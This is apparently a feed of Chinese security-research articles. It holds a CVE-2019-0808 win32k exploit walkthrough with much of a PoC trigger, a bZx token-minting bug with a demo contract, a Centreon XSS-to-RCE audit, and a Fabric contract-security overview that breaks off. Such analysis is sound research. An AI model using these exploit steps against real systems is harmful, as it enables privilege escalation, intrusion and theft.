-
CVE-2019-0808 从空指针解引用到权限提升
作者:Kerne7@知道创宇404实验室
时间:2020年9月28日前言
选择这个漏洞的原因是和之前那个cve-2019-5786是在野组合利用的,而且互联网上这个漏洞的资料也比较多,可以避免在踩坑的时候浪费过多的时间。
首先跟据 Google 的博客,我们可以了解到这个漏洞在野外被用作在windows7 32位系统上的浏览器沙盒逃逸,并且可以定位到漏洞函数 win32k!MNGetpItemFromIndex 。
在复现漏洞之前有几个问题浮现出来了,首先这个漏洞被用作沙盒逃逸,那么浏览器沙盒逃逸有哪几种方式?这个漏洞除了沙盒逃逸还可以用来做什么?其次空指针解引用的漏洞如何利用?这些可以通过查阅相关资料来自行探索。
从poc到寻找漏洞成因
在我分析这个漏洞的时候已经有人公布了完整的利用链,包括该漏洞的 poc 、 exp 和浏览器利用的组合拳。但是本着学习的目的,我们先测试一下这个 poc ,看下漏洞是如何触发的。搭建双机调试环境之后,运行 poc 导致系统 crash ,通过调试器我们可以看到
加载符号之后查看一下栈回溯.
可以看到大概是在 NtUserMNDragOver 之后的调用流程出现了问题,可能是符号问题我在查看了 Google 的博客之后没有搜索到 MNGetpItemFromIndex 这个函数,从栈回溯可以看到最近的这个函数是 MNGetpItem ,大概就是在这个函数里面。
大概看了下函数触发顺序之后,我们看下poc的代码是如何触发crash的。首先看下poc的代码流程。
首先获取了两个函数的地址 NtUserMNDragOver 和 NtAllocateVirtualMemory ,获取这两个函数的地址是因为参考栈回溯中是由 win32k!NtUserMNDragOver 函数中开始调用后续函数的,但是这个函数没有被导出,所以要通过其他函数的地址来导出。NtAllocateVirtualMemory函数是用来后续分配零页内存使用的。
12pfnNtUserMNDragOver = (NTUserMNDragOver)((ULONG64)GetProcAddress(LoadLibraryA("USER32.dll"), "MenuItemFromPoint") + 0x3A);pfnNtAllocateVirtualMemory = (NTAllocateVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");然后设置Hook EVENT_SYSTEM_MENUPOPUPSTART事件和WH_CALLWNDPROC消息。
12SetWindowsHookEx(WH_CALLWNDPROC, (HOOKPROC)WindowHookProc, hInst, GetCurrentThreadId());SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,hInst,DisplayEventProc,GetCurrentProcessId(),GetCurrentThreadId(),0);之后设置了两个无模式拖放弹出菜单(之前创建的,但是不影响poc的逻辑顺序),即hMenuRoot和hMenuSub。hMenuRoot会被设置为主下拉菜单,并将hMenuSub设置为其子菜单。
12345678910HMENU hMenuRoot = CreatePopupMenu();HMENU hMenuSub = CreatePopupMenu();MENUINFO mi = { 0 };mi.cbSize = sizeof(MENUINFO);mi.fMask = MIM_STYLE;mi.dwStyle = MNS_MODELESS | MNS_DRAGDROP;SetMenuInfo(hMenuRoot, &mi);SetMenuInfo(hMenuSub, &mi);AppendMenuA(hMenuRoot, MF_BYPOSITION | MF_POPUP, (UINT_PTR)hMenuSub, "Root");AppendMenuA(hMenuSub, MF_BYPOSITION | MF_POPUP, 0, "Sub");创建了一个类名为#32768的窗口
1hWndFakeMenu = CreateWindowA("#32768", "MN", WS_DISABLED, 0, 0, 1, 1, nullptr, nullptr, hInst, nullptr);根据msdn我们可以查询到这个#32768为系统窗口,查的资料,因为CreateWindowA()并不知道如何去填充这些数据,所以直接调用多个属性被置为0或者NULL,包括创建的菜单窗口对象属性 tagPOPUPMENU->spmenu = NULL 。
然后设置wndclass的参数,再使用CreateWindowsA来创建窗口。参数可以确保只能从其他窗口、系统或应用程序来接收窗口消息。
12345678910WNDCLASSEXA wndClass = { 0 };wndClass.cbSize = sizeof(WNDCLASSEXA);wndClass.lpfnWndProc = DefWindowProc;wndClass.cbClsExtra = 0;wndClass.cbWndExtra = 0;wndClass.hInstance = hInst;wndClass.lpszMenuName = 0;wndClass.lpszClassName = "WNDCLASSMAIN";RegisterClassExA(&wndClass);hWndMain = CreateWindowA("WNDCLASSMAIN", "CVE", WS_DISABLED, 0, 0, 1, 1, nullptr, nullptr, hInst, nullptr);接着,使用 TrackPopupMenuEx() 来弹出 hMenuRoot ,然后再通过 GetMessageW 来获取消息,然后在 WindowHookProc 函数中由于bOnDraging被初始化为FALSE,所以直接会执行 CallNextHookEx 。由于触发了EVENT_SYSTEM_MENUPOPUPSTART事件,然后传递给 DisplayEventProc ,由于 iMenuCreated 被初始化为0,所以进入0的分支。通过 SendMessageW() 将 WM_LMOUSEBUTTON 窗口消息发送给 hWndMain 来选择 hMenuRoot 菜单项(0x5, 0x5)。这样就会触发 EVENT_SYSTEM_MENUPOPUPSTART 事件,再次执行 DisplayEventProc ,由于刚刚 iMenuCreated 自增了,所以进入分支1,导致发送消息使鼠标挪到了坐标(0x6,0x6),然后 iMenuCreated 再次进行自增。然后在主函数的消息循环中iMenuCreated大于等于1进入分支,bOnDraging被置为TRUE,然后调用被我们导出的pfnNtUserMNDragOver函数。
1234567891011121314TrackPopupMenuEx(hMenuRoot, 0, 0, 0, hWndMain, NULL);MSG msg = { 0 };while (GetMessageW(&msg, NULL, 0, 0)){TranslateMessage(&msg);DispatchMessageW(&msg);if (iMenuCreated >= 1) {bOnDraging = TRUE;pfnNtUserMNDragOver(&pt, buf);break;}}12345678910111213LRESULT CALLBACK WindowHookProc(INT code, WPARAM wParam, LPARAM lParam){tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;if (!bOnDraging) {return CallNextHookEx(0, code, wParam, lParam);}if ((cwp->message == WM_MN_FINDMENUWINDOWFROMPOINT)){bIsDefWndProc = FALSE;printf("[*] HWND: %p \n", cwp->hwnd);SetWindowLongPtr(cwp->hwnd, GWLP_WNDPROC, (ULONG64)SubMenuProc);}return CallNextHookEx(0, code, wParam, lParam);}1234567891011121314VOID CALLBACK DisplayEventProc(HWINEVENTHOOK hWinEventHook,DWORD event,HWND hwnd,LONG idObject,LONG idChild,DWORD idEventThread,DWORD dwmsEventTime){switch (iMenuCreated){case 0:SendMessageW(hwnd, WM_LBUTTONDOWN, 0, 0x00050005);break;case 1:SendMessageW(hwnd, WM_MOUSEMOVE, 0, 0x00060006);break;}printf("[*] MSG\n");iMenuCreated++;}poc的流程已经分析完了,但是还是有部分的代码没有进入,比如 WindowHookProc 的 cwp->message == WM_MN_FINDMENUWINDOWFROMPOINT 分支,该分支通过 SetWindowLongPtrA 来改变窗口的属性。把默认的过程函数替换为SubMenuProc,SubMenuProc函数在收到 WM_MN_FINDMENUWINDOWFROMPOINT 消息后把过程函数替换为默认的过程函数,然后返回我们自定义的FakeMenu的句柄。
123456789LRESULT WINAPI SubMenuProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam){if (msg == WM_MN_FINDMENUWINDOWFROMPOINT){SetWindowLongPtr(hwnd, GWLP_WNDPROC, (ULONG)DefWindowProc);return (ULONG)hWndFakeMenu;}return DefWindowProc(hwnd, msg, wParam, lParam);}接下来还要我们从漏洞的代码本身来分析。我们来看下调用pfnNtUserMNDragOver之后发生了什么,以及什么时候能收到 WM_MN_FINDMENUWINDOWFROMPOINT 这个消息。通过我们之前看到 windbg 的栈回溯中,我们在IDA中逐渐回溯函数,在 xxxMNMouseMove 函数中发现了 xxxMNFindWindowFromPoint 就在 xxxMNUpdateDraggingInfo 之前,xxxMNUpdateDraggingInfo 函数也是我们栈回溯中的函数。
在函数 FindWindowFromPoint 函数中通过 xxxSendMessage 发送消息 235 也是 poc 中定义的 WM_MN_FINDMENUWINDOWFROMPOINT ,然后返回 v6 也就是获取的窗口句柄。然后在函数MNGetpItem中导致了空指针解引用得问题。
从空指针解引用到任意代码执行
触发了漏洞之后我们如何利用是个问题,首先的问题是把空指针解引用异常解决掉,在 windows7 版本上可以使用 ntdll!NtAllocateVirtualMemory 来分配零页内存。可以看到在申请零页内存之后不会产生异常导致crash了。
为了进入到 MNGetpItem 的 if 分支中,我们需要对零页内存中的数据进行设置。并且通过查询资料得知,MNGetpItem 中的参数为 tagPOPUPMENU 结构,uDraggingIndex又可以从tagMSG的wParam取到,所以这个函数的返回值是在用户态可控的。
进入 if 分支之后我们继续看程序流程,继续跟进 xxxMNSetGapState 函数。
进入 xxxMNSetGapState 可以看到再次出现了我们之前的漏洞函数 MNGetpItem ,其中 v5 是 MNGetpItem 的返回值,v6 = v5,后续中有 v6 或的操作,MNGetpItem 的返回值又是用户态可控,利用这一点我们可以实现任意地址或0x40000000u的操作。
如何把这个能力转化为任意地址读写呢?公开的exp中采用了窗口喷射的方法,类似于堆喷射创建大量的 tagWND 再通过 HMValidateHandle 函数来泄露内核地址来进行进一步的利用。HMValidateHandle 允许用户获得具有对象的任何对象的用户级副本。通过滥用此功能,将包含指向其在内核内存中位置的指针的对象(例如 tagWND(窗口对象))”复制“到用户模式内存中,攻击者只需获取它们的句柄即可泄漏各种对象的地址。这里又需要导出 HMValidateHandle 函数来进一步利用。再导出了 HMValidateHandle 之后可以泄露对象的地址了,然后我们利用窗口对象喷射的方法,寻找两个内存位置相邻的对象,通过修改窗口附加长度 tagWND+0x90->cbwndExtra 为0x40000000u来,再次修改第二个窗口对象的 strName.Buffer 指针,再通过设置 strName 的方式来达到任意地址写。
有了任意代码写,如果使 shellcode 在内核模式中执行呢?可以利用 tagWND. bServerSideWindowProc 字段,如果被置位那话窗口的过程函数就实在内核模式的上下文中执行,最后可以实现用户态提权。
后记
通过这个漏洞的分析和复现也学到了不少在内核模式下的操作。分析到这里已经算结束了,但是如何达到在野外实现的浏览器沙盒逃逸的功能,还有之前提出的问题都是还需要思考的。那我们通过这个漏洞的复现及利用过程,还要思考这个漏洞是如何被发现的,是否可以通过poc中的一些功能来 fuzz 到同样的空指针解引用,以及我们如何去寻找这类漏洞。
参考链接
https://security.googleblog.com/2019/03/disclosing-vulnerabilities-to-protect.html
https://github.com/ze0r/cve-2019-0808-poc/
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1351/
没有评论 -
404 StarLink Project – 404 星链计划三期
作者:知道创宇404实验室
时间:2020年10月26日“404星链计划”是知道创宇404实验室于2020年8月开始的计划,旨在通过开源或者开放的方式,长期维护并推进涉及安全研究各个领域不同环节的工具化,就像星链一样,将立足于不同安全领域、不同安全环节的研究人员链接起来。
其中不仅限于突破安全壁垒的大型工具,也会包括涉及到优化日常使用体验的各种小工具,除了404自研的工具开放以外,也会不断收集安全研究、渗透测试过程中的痛点,希望能通过“404星链计划”改善安全圈内工具庞杂、水平层次不齐、开源无人维护的多种问题,营造一个更好更开放的安全工具促进与交流的技术氛围。
项目地址: - https://github.com/knownsec/404StarLink-Project
Contents
- Project
- Portforward
- PortForward is a port forwarding tool developed using Golang.
- KunLun-M
- Kunlun-Mirror. Focus on white box tools used by security researchers
- LBot
- A simple xss bot template
- ksubdomain
- the fastest subdomain enumeration tool
- Zoomeye Tools
- the Chrome extension with Zoomeye
- Pocsuite3
- pocsuite3 is an open-sourced remote vulnerability testing framework developed by the Knownsec 404 Team.
- Zoomeye SDK
- ZoomEye API SDK
- wam
- WAM is a platform powered by Python to monitor "Web App"
- Portforward
- Minitools
- KunLun-M - phpunserializechain
- A demo tool based on codedb to find the php deserialization chain.
- bin_extractor
- A simple script for quickly mining sensitive information in binary files.
- CookieTest
- A script used to quickly test APIs or required parameters and cookies for a certain request.
- ipstatistics
- ipstatistics is a script based on the ipip library that is used to quickly filter the ip list.
- cidrgen
- cidrgen is based on cidr's subnet IP list generator
- KunLun-M - phpunserializechain
Project
该分类下主要聚合各类安全工具,偏向于可用性较高的完整项目。
Portforward
项目链接:
https://github.com/knownsec/Portforward
项目简述:
PortForward 是使用 Golang 进行开发的端口转发工具,解决在某些场景下 内外网无法互通的问题。
Minitool
该分类下主要聚合各类安全研究过程中涉及到的小工具、脚本,旨在优化日常安全自动化的使用体验。
KunLun-M - phpunserializechain
项目链接:
https://github.com/LoRexxar/Kunlun-M/tree/master/core/plugins/phpunserializechain
项目简述:
基于.QL的概念探索出的一套CodeDB,探索性的完成了一个针对寻找PHP反序列化链的工具demo,目前还是demo性质的,还有很多问题需要解决。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1382/
- Project
-
DeFi 项目 bZx-iToken 盗币事件分析
作者:昏鸦@知道创宇404区块链安全研究团队
时间:2020年9月14日发生了什么
iToken是bZx推出的一种代币,今天早些时候,bZx官方发推表示发现了一些iTokens的安全事件,随后有研究员对比iToken合约源码改动,指出其中存在安全问题,可被攻击用于薅羊毛。
什么是iToken
iToken是bZx推出的类似iDAI、iUSDC的累积利息的代币,当持有时,其价值会不断上升。iToken代表了借贷池中的份额,该池会随借贷人支付利息而扩大。iToken同样能用于交易、用作抵押、或由开发人员组成结构化产品,又或者用于安全价值存储。
分析
根据推文指出的代码,问题存在于
_internalTransferFrom
函数中,未校验from
与to
地址是否不同。若传入的
from
与to
地址相同,在前后两次更改余额时balances[_to] = _balancesToNew
将覆盖balances[_from] = _balancesFromNew
的结果,导致传入地址余额无代价增加。12345678910uint256 _balancesFrom = balances[_from];uint256 _balancesTo = balances[_to];require(_to != address(0), "15");uint256 _balancesFromNew = _balancesFrom.sub(_value, "16");balances[_from] = _balancesFromNew;uint256 _balancesToNew = _balancesTo.add(_value);balances[_to] = _balancesToNew;//knownsec// 变量覆盖,当_from与_to相同时漏洞复现
截取
transferFrom
与_internalTransferFrom
函数作演示,测试合约代码如下:123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146pragma solidity ^0.5.0;library SafeMath {function add(uint256 a, uint256 b) internal pure returns (uint256) {uint256 c = a + b;require(c >= a, "SafeMath: addition overflow");return c;}function sub(uint256 a, uint256 b) internal pure returns (uint256) {return sub(a, b, "SafeMath: subtraction overflow");}function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {require(b <= a, errorMessage);uint256 c = a - b;return c;}function mul(uint256 a, uint256 b) internal pure returns (uint256) {if (a == 0) {return 0;}uint256 c = a * b;require(c / a == b, "SafeMath: multiplication overflow");return c;}function div(uint256 a, uint256 b) internal pure returns (uint256) {return div(a, b, "SafeMath: division by zero");}function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {require(b > 0, errorMessage);uint256 c = a / b;// assert(a == b * c + a % b); // There is no case in which this doesn't holdreturn c;}function mod(uint256 a, uint256 b) internal pure returns (uint256) {return mod(a, b, "SafeMath: modulo by zero");}function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {require(b != 0, errorMessage);return a % b;}}contract Test {using SafeMath for uint256;uint256 internal _totalSupply;mapping(address => mapping (address => uint256)) public allowed;mapping(address => uint256) internal balances;event Transfer(address indexed from, address indexed to, uint256 value);event Approval(address indexed owner, address indexed spender, uint256 amount);constructor() public {_totalSupply = 1 * 10 ** 18;balances[msg.sender] = _totalSupply;}function totalSupply() external view returns (uint256) {return _totalSupply;}function balanceOf(address account) external view returns (uint256) {return balances[account];}function approve(address spender, uint256 amount) external returns (bool) {require(spender != address(0));allowed[msg.sender][spender] = amount;emit Approval(msg.sender, spender, amount);}function transferFrom(address _from,address _to,uint256 _value)externalreturns (bool){return _internalTransferFrom(_from,_to,_value,allowed[_from][msg.sender]/*ProtocolLike(bZxContract).isLoanPool(msg.sender) ?uint256(-1) :allowed[_from][msg.sender]*/);}function _internalTransferFrom(address _from,address _to,uint256 _value,uint256 _allowanceAmount)internalreturns (bool){if (_allowanceAmount != uint256(-1)) {allowed[_from][msg.sender] = _allowanceAmount.sub(_value, "14");}uint256 _balancesFrom = balances[_from];uint256 _balancesTo = balances[_to];require(_to != address(0), "15");uint256 _balancesFromNew = _balancesFrom.sub(_value, "16");balances[_from] = _balancesFromNew;uint256 _balancesToNew = _balancesTo.add(_value);balances[_to] = _balancesToNew;//knownsec// 变量覆盖,当_from与_to一致时// handle checkpoint update// uint256 _currentPrice = tokenPrice();// _updateCheckpoints(// _from,// _balancesFrom,// _balancesFromNew,// _currentPrice// );// _updateCheckpoints(// _to,// _balancesTo,// _balancesToNew,// _currentPrice// );emit Transfer(_from, _to, _value);return true;}}remix部署调试,
0x1e9c2524Fd3976d8264D89E6918755939d738Ed5
部署合约,拥有代币总量,授权0x28deb6CA32C274f7DabF2572116863f39b4E65D9
500代币额度通过
0x28deb6CA32C274f7DabF2572116863f39b4E65D9
账户,调用transferFrom
函数,_from
与_to
传入地址0x1e9c2524Fd3976d8264D89E6918755939d738Ed5
,_value
传入授权的500最后查看
0x1e9c2524Fd3976d8264D89E6918755939d738Ed5
地址余额,已增加500额度,超出代币发行总量。综上,恶意用户可创建小号,通过不断授权给小号一定额度,使用小号频繁为大号刷代币,增发大量代币薅羊毛。
总结
针对本次事件,根本原因,还是没做好上线前的代码审计工作。由于区块链智能合约的特殊性,智能合约上线前务必做好完善的代码审计、风险分析的工作。
另外通过github搜索到其他项目也同样存在这个问题,务必提高警惕。
智能合约审计服务
针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。
知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)欢迎扫码咨询:区块链行业安全解决方案
黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵,给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验,凭借多重防护+云端大数据技术,为区块链应用提供专属安全解决方案。欢迎扫码咨询:
参考
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1334/
-
代码审计从0到1 —— Centreon One-click To RCE
作者:huha@知道创宇404实验室
时间:2020年8月26日前言
代码审计的思路往往是多种多样的,可以通过历史漏洞获取思路、黑盒审计快速确定可疑点,本文则侧重于白盒审计思路,对Centreon V20.04[1]的审计过程进行一次复盘记录,文中提及的漏洞均已提交官方并修复。
概述
Centreon(Merethis Centreon)是法国Centreon公司的一套开源的系统监控工具 。该产品主要提供对网络、系统和应用程序等资源的监控功能。
网站基本结构
源代码目录组成
centreon/www/
网站根目录centreon/www/include/
核心目录结构概述一下
centreon/www/index.php
是网站的入口文件,会先进行登录认证,未登录的话跳转进入登录页,登录成功后进入后台centreon/www/main.php
与centreon/www/main.get.php
,对应PC端与移动端的路由功能,根据不同的参数,可以加载到后台不同的功能页面,在实际调试的过程,发现使用main.php加载对应的功能页时,最终会调用main.get.php,所以路由部分直接看main.get.php即可entreon/www/include/
目录包含核心功能代码、公共类。其中有些功能代码可以直接通过路径访问,有些则需要通过main.get.php页面进行路由访问centreon/www/api/
目录下的index.php是另一处路由功能,可以实例化centreon/www/api/class/*.class.php
、centreon/www/modules/
、centreon/www/widgets/*/webServices/rest/*.class.php
、centreon/src/
中的类并调用指定方法
在审计代码的时候,有两个要关注点:
- 重点审查
centreon/www/include/
和centreon/www/api/class
/两个目录,因为这些目录下的功能点可以通过centreon/www/main.php
或centreon/www/api/index.php
路由访问 - 重点寻找绕过登录认证或者越权的方式,否则后台漏洞难以利用
代码分析
如下简要分析
centreon/www/
目录下的部分脚本index.php
index.php会进行登录认证,检查是否定义$_SESSION["centreon"]变量,这个值在管理员登录后设置。程序登录有两种方式,使用账密或者token,相关逻辑在
/centreon/www/include/core/login/processLogin.php
中。不止index.php,centreon/www/include/
下大部分功能页都会检查session,没有登录就无法访问main.get.php
这是主要的路由功能,程序开头对数据进行过滤。$_GET数组使用fiter_var()过滤处理,编码特殊字符,有效地防御了一些XSS,比如可控变量在引号中的情况,无法进行标签闭合,无法逃逸单引号
对_POST中的指定参数,进行过滤处理,对数据类型进行限制,对特殊字符进行编码
最终_POST数组赋值到$inputs数组中
全局过滤数据后,程序引入公共类文件和功能代码
99行session取出,认证是否登录
通过登录认证后,程序会查询数据库,获取page与url的映射关系,程序通过p参数找到对应的url,进行路由,映射关系如下
接着248行
include_once $url
,引入centreon/www/include/
下对应的脚本这里将page与url映射关系存储到本地,方便后续查询
api/index.php
这是另外一个路由功能
同样需要验证登录,104行$_SERVER['HTTP_CENTREON_AUTH_TOKEN']可以在请求头中伪造,但是并不能绕过登录,可以跟进查看CentreonWebService::router方法
在
\api\class\webService.class.php
,其中action参数可控311行判断isService是否为true,如果是,dependencyInjector['centreon.webservice']->get(object)
313行centreon.webservice属性值如下,对应的是centreon/src目录下的类
$webServicePaths变量包含以下类路径
接着346行检查类中是否存在对应方法,在374行处调用,但是在350~369进行了第二次登录认证,所以之前$_SERVER['HTTP_CENTREON_AUTH_TOKEN']伪造并没能绕过登录
过滤处理
除了main.get.php开头的全局过滤操作,程序的其他过滤都是相对较分散的,对于SQL注入的话,程序的很多查询都使用了PDO进行参数化查询,对于PDO中一些直接拼接的参数,则单独调用某些函数进行过滤处理。比如下边这里进行数据库更新操作时,updateOption()会进行query操作,$ret["nagios_path_img"]可控,但是这里调用escape()函数进行转义
路径限制
不通过路由功能,直接访问对应路径的功能代码,大部分是不被允许的,比如直接访问generateFiles.php页面
可以看到39行检查oreon参数,这就是为什么要通过main.get.php去访问某些功能点。当然有一些漏网之鱼,比如rename.php页面,这里只是检查session是否存在,在登录状态下,可以通过路径直接访问该页面。
One-click To RCE
XSS
在上一节的最后,为什么要纠结通过路径访问还是路由访问呢?因为通过main.get.php中的路由访问的话,会经过全局过滤处理,直接通过路径访问则没有,这样就有了产生漏洞的可能,通过这个思路可以找到一个XSS漏洞,在rename.php中程序将攻击者可控的内容直接打印输出,并且没有进行编码处理,缺乏Httponly与CSP等的攻击缓存机制,当管理员点击精心构造的链接时,将触发XSS执行任意js代码,导致cookie泄露。
漏洞分析
漏洞入口
centreon/include/home/customViews/rename.php
前边也提到,46行验证session是否存在,所以受害者只要处于登录状态即可,59行echo直接打印_REQUEST)返回的值,rename函数中对params['newName'],因为直接通过路径访问,没有经过任何过滤处理
所以elementId控制为title_1(任意数字),设置newName为script标签即可
授权RCE
程序在使用perl脚本处理mib文件时,没有对反引号的内容进行正确的过滤处理,攻击者利用XSS窃取的凭证登录后,可上传恶意文件导致远程代码执行,即One_click to RCE
漏洞分析
可以顺着CVE-2020-12688[2]的思路,全局搜索"shell_exec("关键字符串, formMibs.php调用了该函数
查看源码,38行执行了shell_exec(command从form),打印$form方便调试
之前记录的page与url的映射关系现在就可以派上用场了,设置page为61703,通过main.php或main.get.php可以路由到formMibs.php,也就是下边的文件上传功能
调试发现formMibs.php中31行的manufacturerId可以通过上传数据包中mnftr字段修改,但是被filter_var()处理,只能为整数
虽然缓存文件名是不可控的,但是上传的mib文件内容可控,shell_exec()中执行的命令实际为("xxx.mib"代表缓存文件名)
1/usr/share/centreon/bin/centFillTrapDB -f 'xxx.mib' -m 3 --severity=info 2>&1centFillTrapDB是一个perl脚本,代码在/bin/centFillTrapDB中,用use引入centFillTrapDB模块
use命令寻找的路径默认在@INC下,但不知道具体在哪里,可以全局搜索一下
最后在usr/share/perl5/vendor_perl/centreon下找到script目录,有我们想要的文件
把centFillTrapDB模块拉出来静态看一下,发现存在命令执行且内容可控的位置,实际调试发现最终分支是进入541行,540行和543行是我添加的调试代码
在perl中反引号内可以执行系统命令,534行trap_lookup可控,对于mib文件来说,{IFS}代替
为了方便构造mib文件,打印出反引号中的命令,并在服务器shell中进行测试
构造/tmp/1.mib文件
命令行执行
1centFillTrapDB -f '/tmp/1.mib' -m 3 --severity=info 2>&1可以清晰的看到command,并且执行了curl命令
修改mib文件中的命令,在浏览器上传进行测试,成功执行whoami并回显
审计总结
文本主要分享了一些白盒审计思路,但就像之前所说的,审计的思路往往是多种多样的,以下是个人的小小总结:
- 分析历史漏洞,在复现和调试的过程中,可以比较快的了解这个框架的结构,也可以从历史漏洞中获取思路,举一反三
- 黑盒审计,开启抓包工具,测试可疑的功能点并观察数据包,这样可以加快对网站路由的熟悉,也可以快速的验证一些思路,排除一些可能性,仍然存疑的功能点可以在白盒审计时进一步确认;
- 白盒审计,入口脚本,路由方式,核心配置,常用功能模块和数据验证过滤操作,这些都是要留意的,当然最主要还是看入口,路由和数据过滤验证的部分;其他的如核心配置,常用功能模块,可以按需查看,大概了解了网站架构就可以开始看对应的功能代码了,看的时候可以分两个角度:一个就是从刚才黑盒测试遗留的可疑点入手,断点功能代码,审查是否存在漏洞;另一个就是从敏感关键字入手,全局搜索,溯源追踪。
- 注重不同漏洞的组合攻击,无论是这次的Centreon One_click to RCE漏洞,还是通达OA任意删除认证文件导致的未授权RCE、PHPCMS V9 authkey泄露导致的未授权RCE,打的都是一套组合拳,在漏洞挖掘的过程可以多加关注
参考链接
[1] Centreon V20.04
https://github.com/centreon/centreon/releases/tag/20.04.0
[2] CVE-2020-12688漏洞公开细节
https://github.com/TheCyberGeek/Centreon-20.04
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1313/
-
联盟链智能合约安全浅析
作者:极光@知道创宇404区块链安全研究团队
时间:2020年8月27日前言
随着区块链技术的发展,越来越多的个人及企业也开始关注区块链,而和区块链联系最为紧密的,恐怕就是金融行业了。 然而虽然比特币区块链大受热捧,但毕竟比特币区块链是属于公有区块链,公有区块链有着其不可编辑,不可篡改的特点,这就使得公有链并不适合企业使用,毕竟如果某金融企业开发出一个区块链,无法受其主观控制,那对于它的意义就不大。因此私有链就应运而生,但私有链虽然能够解决以上的问题,如果仅仅只是各个企业自己单独建立,那么还将是一个个孤岛。如果能够联合起来开发私有区块链,最好不过,联盟链应运而生。
目前已经有了很多的联盟链,比较知名的有
Hyperledger
。超级账本(Hyperledger)是Linux基金会于2015年发起的推进区块链数字技术和交易验证的开源项目,加入成员包括:IBM、Digital Asset、荷兰银行(ABN AMRO)、埃森哲(Accenture)等十几个不同利益体,目标是让成员共同合作,共建开放平台,满足来自多个不同行业各种用户案例,并简化业务流程。为了提升效率,支持更加友好的设计,各联盟链在智能合约上出现了不同的发展方向。其中,
Fabric
联盟链平台智能合约具有很好的代表性,本文主要分析其智能合约安全性,其他联盟链平台合约亦如此,除了代码语言本身
的问题,也存在系统机制安全
,运行时安全
,业务逻辑安全
等问题。Fabric智能合约
Fabric的智能合约称为链码(chaincode),分为系统链码和用户链码。系统链码用来实现系统层面的功能,用户链码实现用户的应用功能。链码被编译成一个独立的应用程序,运行于隔离的Docker容器中。 和以太坊相比,Fabric链码和底层账本是分开的,升级链码时并不需要迁移账本数据到新链码当中,真正实现了逻辑与数据的分离,同时,链码采用Go、Java、Nodejs语言编写。
数据流向
Fabric链码通过gprc与peer节点交互
(1)当peer节点收到客户端请求的输入(propsal)后,会通过发送一个链码消息对象(带输入信息,调用者信息)给对应的链码。
(2)链码调用ChaincodeBase里面的invoke方法,通过发送获取数据(getState)和写入数据(putState)消息,向peer节点获取账本状态信息和发送预提交状态。
(3)链码发送最终输出结果给peer节点,节点对输入(propsal)和 输出(propsalreponse)进行背书签名,完成第一段签名提交。
(4)之后客户端收集所有peer节点的第一段提交信息,组装事务(transaction)并签名,发送事务到orderer节点排队,最终orderer产生区块,并发送到各个peer节点,把输入和输出落到账本上,完成第二段提交过程。
链码类型
- 用户链码
由应用开发人员使用Go(Java/JS)语言编写基于区块链分布式账本的状态及处理逻辑,运行在链码容器中, 通过Fabric提供的接口与账本平台进行交互
- 系统链码
负责Fabric节点自身的处理逻辑, 包括系统配置、背书、校验等工作。系统链码仅支持Go语言, 在Peer节点启动时会自动完成注册和部署。
部署
可以通过官方
Fabric-samples
部署test-network
,需要注意的是国内网络环境对于Go编译下载第三方依赖可能出现网络超时,可以参考 goproxy.cn 解决,成功部署后如下图:语言特性问题
不管使用什么语言对智能合约进行编程,都存在其对应的语言以及相关合约标准的安全性问题。Fabric 智能合约是以通用编程语言为基础,指定对应的智能合约模块(如:Go/Java/Node.js)
- 不安全的随机数
随机数应用广泛,最为熟知的是在密码学中的应用,随机数产生的方式多种多样,例如在Go程序中可以使用 math/rand 获得一个随机数,此种随机数来源于伪随机数生成器,其输出的随机数值可以轻松预测。而在对安全性要求高的环境中,如 UUID 的生成,Token 生成,生成密钥、密文加盐处理。使用一个能产生可能预测数值的函数作为随机数据源,这种可以预测的数值会降低系统安全性。
伪随机数是用确定性的算法计算出来自[0,1]均匀分布的随机数序列。 并不真正的随机,但具有类似于随机数的统计特征,如均匀性、独立性等。 在计算伪随机数时,若使用的初值(种子)不变,这里的“初值”就是随机种子,那么伪随机数的数序也不变。在上述代码中,通过对比两次执行结果都相同。
通过分析rand.Intn()的源码,可见,在”math/rand” 包中,如果没有设置随机种子, Int() 函数自己初始化了一个 lockedSource 后产生伪随机数,并且初始化时随机种子被设置为1。因此不管重复执行多少次代码,每次随机种子都是固定值,输出的伪随机数数列也就固定了。所以如果能猜测到程序使用的初值(种子),那么就可以生成同一数序的伪随机数。
12345678910111213141516fmt.Println(rand.Intn(100)) //fmt.Println(rand.Intn(100)) //fmt.Println(rand.Float64()) // 产生0.0-1.0的随机浮点数fmt.Println(rand.Float64()) // 产生0.0-1.0的随机浮点数jiguang@example$ go run unsafe_rand.go81870.66456005321849040.4377141871869802jiguang@example$ go run unsafe_rand.go81870.66456005321849040.4377141871869802jiguang@example$- 不当的函数地址使用
错误的将函数地址当作函数、条件表达式、运算操作对象使用,甚至参与逻辑运算,将导致各种非预期的程序行为发生。比如在如下if语句,其中
func()
为程序中定义的一个函数:123if (func == nil) {...}由于使用
func
而不是func()
,也就是使用的是func
的地址而不是函数的返回值,而函数的地址不等于nil
,如果用函数地址与nil
作比较时,将使其条件判断恒为false
。- 资源重释放
